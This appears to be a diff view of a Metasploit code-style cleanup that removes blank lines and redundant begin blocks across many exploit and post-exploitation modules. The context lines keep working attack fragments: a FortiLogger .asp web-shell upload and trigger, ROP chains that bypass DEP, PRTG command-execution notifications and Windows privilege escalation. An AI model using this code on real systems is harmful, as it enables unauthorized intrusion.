@ -258,6 +258,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -246,7 +246,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_new_session(session)
|
def on_new_session(session)
|
||||||
|
@ -156,6 +156,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -94,7 +94,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
CheckCode::Detected
|
CheckCode::Detected
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def rhost
|
def rhost
|
||||||
|
@ -203,7 +203,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
# Main function
|
# Main function
|
||||||
# ==============
|
# ==============
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
return unless check == Exploit::CheckCode::Appears
|
return unless check == Exploit::CheckCode::Appears
|
||||||
|
|
||||||
@encrypted = datastore['ENCRYPTED']
|
@encrypted = datastore['ENCRYPTED']
|
||||||
|
@ -71,27 +71,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
begin
|
res = check_product_info
|
||||||
res = check_product_info
|
|
||||||
|
|
||||||
unless res
|
unless res
|
||||||
return CheckCode::Unknown('Target is unreachable.')
|
return CheckCode::Unknown('Target is unreachable.')
|
||||||
end
|
|
||||||
|
|
||||||
unless res.code == 200
|
|
||||||
return CheckCode::Unknown("Unexpected server response: #{res.code}")
|
|
||||||
end
|
|
||||||
|
|
||||||
version = Rex::Version.new(JSON.parse(res.body)['Version'])
|
|
||||||
|
|
||||||
if version <= Rex::Version.new('4.4.2.2')
|
|
||||||
CheckCode::Vulnerable("FortiLogger version #{version}")
|
|
||||||
else
|
|
||||||
CheckCode::Safe("FortiLogger version #{version}")
|
|
||||||
end
|
|
||||||
rescue JSON::ParserError
|
|
||||||
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
return CheckCode::Unknown("Unexpected server response: #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
version = Rex::Version.new(JSON.parse(res.body)['Version'])
|
||||||
|
|
||||||
|
if version <= Rex::Version.new('4.4.2.2')
|
||||||
|
CheckCode::Vulnerable("FortiLogger version #{version}")
|
||||||
|
else
|
||||||
|
CheckCode::Safe("FortiLogger version #{version}")
|
||||||
|
end
|
||||||
|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_payload
|
def create_payload
|
||||||
@ -99,57 +97,55 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
begin
|
print_good('Generate Payload')
|
||||||
print_good('Generate Payload')
|
data = create_payload
|
||||||
data = create_payload
|
|
||||||
|
|
||||||
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
|
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
|
||||||
post_data = "--#{boundary}\r\n"
|
post_data = "--#{boundary}\r\n"
|
||||||
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
|
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
|
||||||
post_data << "Content-Type: image/png\r\n"
|
post_data << "Content-Type: image/png\r\n"
|
||||||
post_data << "\r\n#{data}\r\n"
|
post_data << "\r\n#{data}\r\n"
|
||||||
post_data << "--#{boundary}\r\n"
|
post_data << "--#{boundary}\r\n"
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
|
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
|
||||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||||
'data' => post_data,
|
'data' => post_data,
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'Accept' => 'application/json',
|
'Accept' => 'application/json',
|
||||||
'Accept-Language' => 'en-US,en;q=0.5',
|
'Accept-Language' => 'en-US,en;q=0.5',
|
||||||
'X-Requested-With' => 'XMLHttpRequest'
|
'X-Requested-With' => 'XMLHttpRequest'
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res
|
unless res
|
||||||
fail_with(Failure::Unknown, 'No response from server')
|
fail_with(Failure::Unknown, 'No response from server')
|
||||||
end
|
|
||||||
|
|
||||||
unless res.code == 200
|
|
||||||
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
|
|
||||||
end
|
|
||||||
|
|
||||||
json_res = begin
|
|
||||||
JSON.parse(res.body)
|
|
||||||
rescue JSON::ParserError
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if json_res.nil? || json_res['Message'] == 'Error in saving file'
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_good('Payload has been uploaded')
|
|
||||||
|
|
||||||
handler
|
|
||||||
|
|
||||||
print_status('Executing payload...')
|
|
||||||
send_request_cgi({
|
|
||||||
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
|
|
||||||
'method' => 'GET'
|
|
||||||
}, 5)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
json_res = begin
|
||||||
|
JSON.parse(res.body)
|
||||||
|
rescue JSON::ParserError
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if json_res.nil? || json_res['Message'] == 'Error in saving file'
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good('Payload has been uploaded')
|
||||||
|
|
||||||
|
handler
|
||||||
|
|
||||||
|
print_status('Executing payload...')
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
|
||||||
|
'method' => 'GET'
|
||||||
|
}, 5)
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
|
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
|
||||||
end
|
end
|
||||||
|
@ -80,7 +80,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
|
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def prtg_create_notification(cmd)
|
def prtg_create_notification(cmd)
|
||||||
@ -166,7 +165,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, 'Failed to create malicious notification')
|
fail_with(Failure::Unknown, 'Failed to create malicious notification')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def prtg_trigger_notification
|
def prtg_trigger_notification
|
||||||
@ -195,7 +193,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
|
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def prtg_delete_notification
|
def prtg_delete_notification
|
||||||
@ -225,7 +222,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, 'Failed to delete malicious notification')
|
fail_with(Failure::Unknown, 'Failed to delete malicious notification')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
@ -121,6 +121,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
unless res&.code == 200
|
unless res&.code == 200
|
||||||
print_error('Non-200 HTTP response received while trying to execute the command')
|
print_error('Non-200 HTTP response received while trying to execute the command')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -145,7 +145,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
return CheckCode::Appears("Target is ZenTao version #{@version}.")
|
return CheckCode::Appears("Target is ZenTao version #{@version}.")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def retrieve_rand_val(res)
|
def retrieve_rand_val(res)
|
||||||
|
@ -169,15 +169,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
end
|
end
|
||||||
|
|
||||||
def launch_dll_trigger
|
def launch_dll_trigger
|
||||||
begin
|
print_status('Trying to start notepad')
|
||||||
print_status('Trying to start notepad')
|
process = setup_process
|
||||||
process = setup_process
|
inject_magic(process)
|
||||||
inject_magic(process)
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
elog(e)
|
||||||
elog(e)
|
print_error(e.message)
|
||||||
print_error(e.message)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
|
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
|
||||||
@ -289,12 +287,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
end
|
end
|
||||||
|
|
||||||
def validate_active_host
|
def validate_active_host
|
||||||
begin
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
elog(e)
|
||||||
elog(e)
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def validate_target
|
def validate_target
|
||||||
|
@ -150,12 +150,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
end
|
end
|
||||||
|
|
||||||
def validate_active_host
|
def validate_active_host
|
||||||
begin
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
elog('Could not connect to session', error: e)
|
||||||
elog('Could not connect to session', error: e)
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def validate_payload
|
def validate_payload
|
||||||
|
@ -146,12 +146,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
end
|
end
|
||||||
|
|
||||||
def validate_active_host
|
def validate_active_host
|
||||||
begin
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
elog('Could not connect to session', error: e)
|
||||||
elog('Could not connect to session', error: e)
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def validate_payload
|
def validate_payload
|
||||||
|
@ -64,7 +64,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
|
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
|
||||||
OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
|
OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
|
||||||
])
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def provided_path_dir
|
def provided_path_dir
|
||||||
|
@ -71,14 +71,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
Opt::RPORT(48000),
|
Opt::RPORT(48000),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# check: there are only two prerequisites to getting code execution. The version number
|
# check: there are only two prerequisites to getting code execution. The version number
|
||||||
# and access to the directory_list probe. The easiest way to get this information is to
|
# and access to the directory_list probe. The easiest way to get this information is to
|
||||||
# ask nicely ;)
|
# ask nicely ;)
|
||||||
def check
|
def check
|
||||||
|
|
||||||
connect
|
connect
|
||||||
|
|
||||||
sock.put(generate_probe('get_info', ['interfaces=0']))
|
sock.put(generate_probe('get_info', ['interfaces=0']))
|
||||||
@ -105,7 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
return CheckCode::Safe
|
return CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
@ -148,13 +145,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
sock.put(exploit_packet)
|
sock.put(exploit_packet)
|
||||||
|
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
|
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
|
||||||
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
|
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
|
||||||
def generate_rsp_chain
|
def generate_rsp_chain
|
||||||
|
|
||||||
rop_gadgets = [0x0000000140018c42] * 20 # ret
|
rop_gadgets = [0x0000000140018c42] * 20 # ret
|
||||||
rop_gadgets += [
|
rop_gadgets += [
|
||||||
0x0000000140002ef6, # pop rax ; ret
|
0x0000000140002ef6, # pop rax ; ret
|
||||||
@ -165,14 +160,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
|
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
|
||||||
|
|
||||||
return rop_gadgets.pack('<Q*')
|
return rop_gadgets.pack('<Q*')
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
|
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
|
||||||
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
|
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
|
||||||
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
|
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
|
||||||
def generate_rop_chain
|
def generate_rop_chain
|
||||||
|
|
||||||
# RAX -> HMODULE GetModuleHandleA(
|
# RAX -> HMODULE GetModuleHandleA(
|
||||||
# ( RCX == *module ) LPCSTR lpModuleName,
|
# ( RCX == *module ) LPCSTR lpModuleName,
|
||||||
# );
|
# );
|
||||||
@ -320,13 +313,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
|
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
|
||||||
|
|
||||||
return rop_gadgets.pack('<Q*')
|
return rop_gadgets.pack('<Q*')
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# parse_listing: once the directory_list probe is sent we're returned a directory listing
|
# parse_listing: once the directory_list probe is sent we're returned a directory listing
|
||||||
# unfortunately it's hard to read this simply "decodes" it
|
# unfortunately it's hard to read this simply "decodes" it
|
||||||
def parse_listing(response, directory)
|
def parse_listing(response, directory)
|
||||||
|
|
||||||
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
|
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
|
||||||
i = 0
|
i = 0
|
||||||
|
|
||||||
@ -424,7 +415,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
|
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
|
||||||
# craft probes in order for the controller to accept any input.
|
# craft probes in order for the controller to accept any input.
|
||||||
def generate_probe(probe, args)
|
def generate_probe(probe, args)
|
||||||
|
|
||||||
client = "#{rand_text_alphanumeric(14)}\x00"
|
client = "#{rand_text_alphanumeric(14)}\x00"
|
||||||
packet_args = ''
|
packet_args = ''
|
||||||
probe += "\x00"
|
probe += "\x00"
|
||||||
@ -474,7 +464,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
probe = packet_header + packet_body + packet_args
|
probe = packet_header + packet_body + packet_args
|
||||||
|
|
||||||
return probe
|
return probe
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -28,7 +28,6 @@ class MetasploitModule < Msf::Post
|
|||||||
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
|
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -48,7 +48,6 @@ class MetasploitModule < Msf::Post
|
|||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump
|
fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump
|
||||||
print_status('AvDump.exe exists!')
|
print_status('AvDump.exe exists!')
|
||||||
|
|
||||||
@ -65,6 +64,5 @@ class MetasploitModule < Msf::Post
|
|||||||
|
|
||||||
print_status(result)
|
print_status(result)
|
||||||
rm_f(dump_path)
|
rm_f(dump_path)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -48,7 +48,6 @@ class MetasploitModule < Msf::Post
|
|||||||
OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),
|
OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),
|
||||||
OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),
|
OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),
|
||||||
])
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Options removed or changed in sharphound v2 to sharphound v3
|
# Options removed or changed in sharphound v2 to sharphound v3
|
||||||
|
@ -38,7 +38,6 @@ class MetasploitModule < Msf::Post
|
|||||||
'Author' => ['Quentin Kaiser <kaiserquentin[at]gmail.com>']
|
'Author' => ['Quentin Kaiser <kaiserquentin[at]gmail.com>']
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Decrypts `data` encrypted with Windows DPAPI by calling CryptUnprotectData
|
# Decrypts `data` encrypted with Windows DPAPI by calling CryptUnprotectData
|
||||||
|
Loading…
Reference in New Issue
Block a user